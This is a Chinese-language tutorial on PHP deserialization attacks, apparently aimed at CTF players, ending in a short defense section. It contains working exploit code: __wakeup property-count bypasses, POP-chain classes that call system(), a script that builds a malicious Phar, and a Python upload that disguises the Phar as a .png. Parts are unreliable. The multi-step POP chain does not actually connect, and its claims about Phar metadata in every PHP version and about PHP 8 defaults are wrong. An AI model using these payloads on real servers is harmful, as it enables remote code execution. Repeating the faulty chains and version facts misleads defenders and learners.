一、PHP 序列化格式
PHP 的 serialize 输出是自描述的格式,每种类型有不同前缀:
<?php
class User {
public $name = "admin";
private $pass = "secret";
protected $role = "root";
}
$u = new User();
echo serialize($u);
// O:4:"User":3:{s:4:"name";s:5:"admin";s:10:"\0User\0pass";s:6:"secret";s:8:"\0*\0role";s:4:"root";}
类型前缀:a=array, s=string, i=int, b=bool, N=null, O=object, C=class。
私有属性编码要点:private User::$pass 在序列化时变成 s:10:"\0User\0pass",那个 \0 是真正的 null 字节(ASCII 0x00),不是转义序列。这在 CTF 手工构造 payload 时经常踩坑。
二、所有魔术方法
| 方法 | 触发时机 | 说明 |
|---|---|---|
| __wakeup() | 反序列化开始前(PHP<7.4) | 最常见入口 |
| __unserialize(array) | PHP>=7.4 替代 __wakeup | 接收属性数组 |
| __destruct() | 对象被销毁 | GC 回收时触发 |
| __toString() | 对象当字符串用 | echo / file_put_contents |
| __call($m,$a) | 调用不存在的方法 | 可转调任意 callable |
| __get($p) | 访问不存在的属性 | |
| __set($p,$v) | 赋值不存在的属性 | |
| __invoke(...$a) | 对象当函数用 |
触发顺序
1. __wakeup() 或 __unserialize() ← 反序列化时
2. 属性赋值完成 ← PHP 自动
3. 对象被使用时 → __toString / __call / __get 等
4. 对象销毁时 → __destruct() ← GC 或脚本结束
三、__wakeup 绕过
3.1 属性数不一致绕过(PHP<5.6.25 / 7.0.10)
<?php
class Evil {
public $cmd = "ls";
public function __wakeup() { echo "wakeup triggered\n"; }
public function __destruct() { system($this->cmd); }
}
$normal = serialize(new Evil()); // O:4:"Evil":1:{s:3:"cmd";s:2:"ls";}
$bypass = 'O:4:"Evil":2:{s:3:"cmd";s:2:"ls";}'; // 属性数改成 2,但实际只有 1 个
unserialize($bypass); // __wakeup 不触发,直接执行 __destruct
原理:PHP 反序列化对象时会先校验"实际属性数"与声明的属性数是否一致,不一致时跳过 __wakeup。
3.2 Python 一键绕过脚本
import re
def bypass_wakeup(s):
return re.sub(
r'(O:\d+:"[^"]+":)(\d+)(:)',
lambda m: m.group(1) + str(int(m.group(2)) + 1) + m.group(3),
s)
3.3 PHP 7.4+ __unserialize 绕过
__unserialize(array) 取代 __wakeup,绕过需要改函数名。
四、POP 链实战
4.1 简化版单步链
class Exploit {
public $cmd = "id";
public function __destruct() {
system($this->cmd); // sink
}
}
echo serialize(new Exploit());
// O:7:"Exploit":1:{s:3:"cmd";s:2:"id";}
4.2 多步 POP 链
真实场景中不会直接有 Exploit 类。下面是一个需要多步拼接的链:
// 入口点:登录功能反序列化 cookie
class Login {
public $user;
public function __unserialize($arr) {
$this->user = $arr['user'];
}
public function check() {
if ($this->user->username === 'admin') { }
// $this->user 被当作对象用 → 触发 __toString 如果不是 User
}
}
// 中间跳板
class User {
public $name;
public function __call($method, $args) {
return ($this->name)($method, $args); // Closure::__invoke 或 call_user_func
}
}
// 末端 sink
class Executor {
public $cmd;
public function __invoke() {
system($this->cmd);
}
}
4.3 完整链构造
Login.__unserialize → $this->user = User 对象
User 对象被使用时 → User.__call("check", [])
User.__call → ($this->name)("check", [])
$this->name = Closure → __invoke → 任意代码
PHP 7.0+ Closure::fromCallable() 可以把任意函数包装成 Closure,链末端非常好用。
五、Phar 反序列化旁路
5.1 原理
Phar 文件本质是 zip-like 结构,末尾有反序列化的 manifest。任何 PHP 版本读 phar:// 流包装器都会自动解析并反序列化这个 manifest。
5.2 构造恶意 Phar
<?php
class Evil {
public function __destruct() { system("id"); }
}
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());
$phar->stopBuffering();
5.3 触发场景
// 下面这些函数都支持 phar:// 包装器
if (file_exists($_GET['path'])) { } // 触发
is_readable($_GET['path']); // 触发
file_get_contents($_GET['path']); // 触发(如果是 phar://)
copy("evil.phar","evil.zip"); file_exists("zip://evil.zip"); // 压缩绕过
5.4 Python 绕过 .phar 后缀限制
import requests
# 如果目标只允许 .png 后缀
with open('evil.phar','rb') as f:
content = f.read()
# 直接改扩展名上传
requests.post("http://target/upload", files={"f":("evil.png", content)})
# 然后访问 phar:///uploads/evil.png
六、防御方案
// 1. 严格白名单反序列化
$data = unserialize($payload, ['allowed_classes' => false]);
// 2. php.ini 禁用危险函数
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec
// 3. 禁用 stream wrapper
stream_wrapper_unregister('phar');
stream_wrapper_unregister('data');
// 4. 关闭 allow_url_include
allow_url_include = Off
// 5. 升级 PHP 7.4+ 利用 __unserialize 替代 __wakeup
七、真实案例
- ThinkPHP 5.x
unserialize($data['username']) - WordPress 旧版本
phpmailer对象注入 - Discuz 社区登录 cookie 反序列化
八、总结
PHP 反序列化链的构造模型是 入口魔术方法 → 中间魔术方法 → 末端 sink。和 Java 不同,PHP 的魔术方法在语言层面就是为反序列化准备的,所以链更短更直接。Phar 反序列化作为旁路攻击面,常在没有 unserialize() 的场景下成为突破口。防御的核心是 allowed_classes 白名单和禁用危险函数。
九、private / protected 属性编码
PHP 序列化时属性的可访问性决定了编码方式:
public $name → s:4:"name" (正常)
private $pass → s:10:"\0User\0pass" (类名 + \0 包裹)
protected $role → s:8:"\0*\0role" (* + \0 包裹)
构造 payload 时如果搞错了编码格式,反序列化会直接失败(不触发魔术方法)。空字节 \0 是真正的 ASCII 0x00,在 CTF 手工构造时经常踩坑——复制粘贴时空字节被吞掉。
Python 构造带空字节的序列化串
NULL = chr(0)
private_prop = f's:10:"{NULL}User{NULL}pass"'
protected_prop = f's:8:"{NULL}*{NULL}role"'
十、PHP 版本差异
| PHP 版本 | 变化 | 影响 |
|---|---|---|
| < 5.6.25 / 7.0.10 | 属性数不一致绕过 | __wakeup 不触发 |
| >= 5.6.25 | 修复属性数绕过 | 必须换其他绕过 |
| >= 7.4 | __unserialize() 替代 __wakeup | 绕过逻辑变化 |
| >= 8.0 | allowed_classes 默认严格 | 更安全 |
十一、ThinkPHP / 框架实战
ThinkPHP 5.x 存在多处反序列化入口:
// 框架内部反序列化
unserialize($data['username']);
// 如果 username 来自 cookie / header / 其他可控输入
攻击链一般是 __destruct → __call → spl_autoload_register → include 或者 __destruct → eval。
十二、和 Java 反序列化对比
| 对比项 | PHP | Java |
|---|---|---|
| 入口 | unserialize() | ObjectInputStream.readObject() |
| 魔术方法 | __wakeup/__destruct 等 | 自定义 readObject |
| 需要 gadget | 可选(有直接 sink 类) | 必须(CC 等链) |
| 语言特性 | 弱类型 + 魔术方法 | 强类型 + 反射 |
| 防御 | allowed_classes | ObjectInputFilter |
十三、总结补充
PHP 反序列化攻击的两个核心技巧是:魔术方法链(入口 → 中间 → sink)和 Phar 旁路(没有 unserialize 但有 file_exists 等函数也能触发)。理解了这两点,就能在没有任何 PHP 代码的情况下(比如 CTF)仅靠构造序列化串打出漏洞。防御侧用 allowed_classes + disable_functions 双重防护,基本能挡住绝大多数 PHP 反序列化攻击。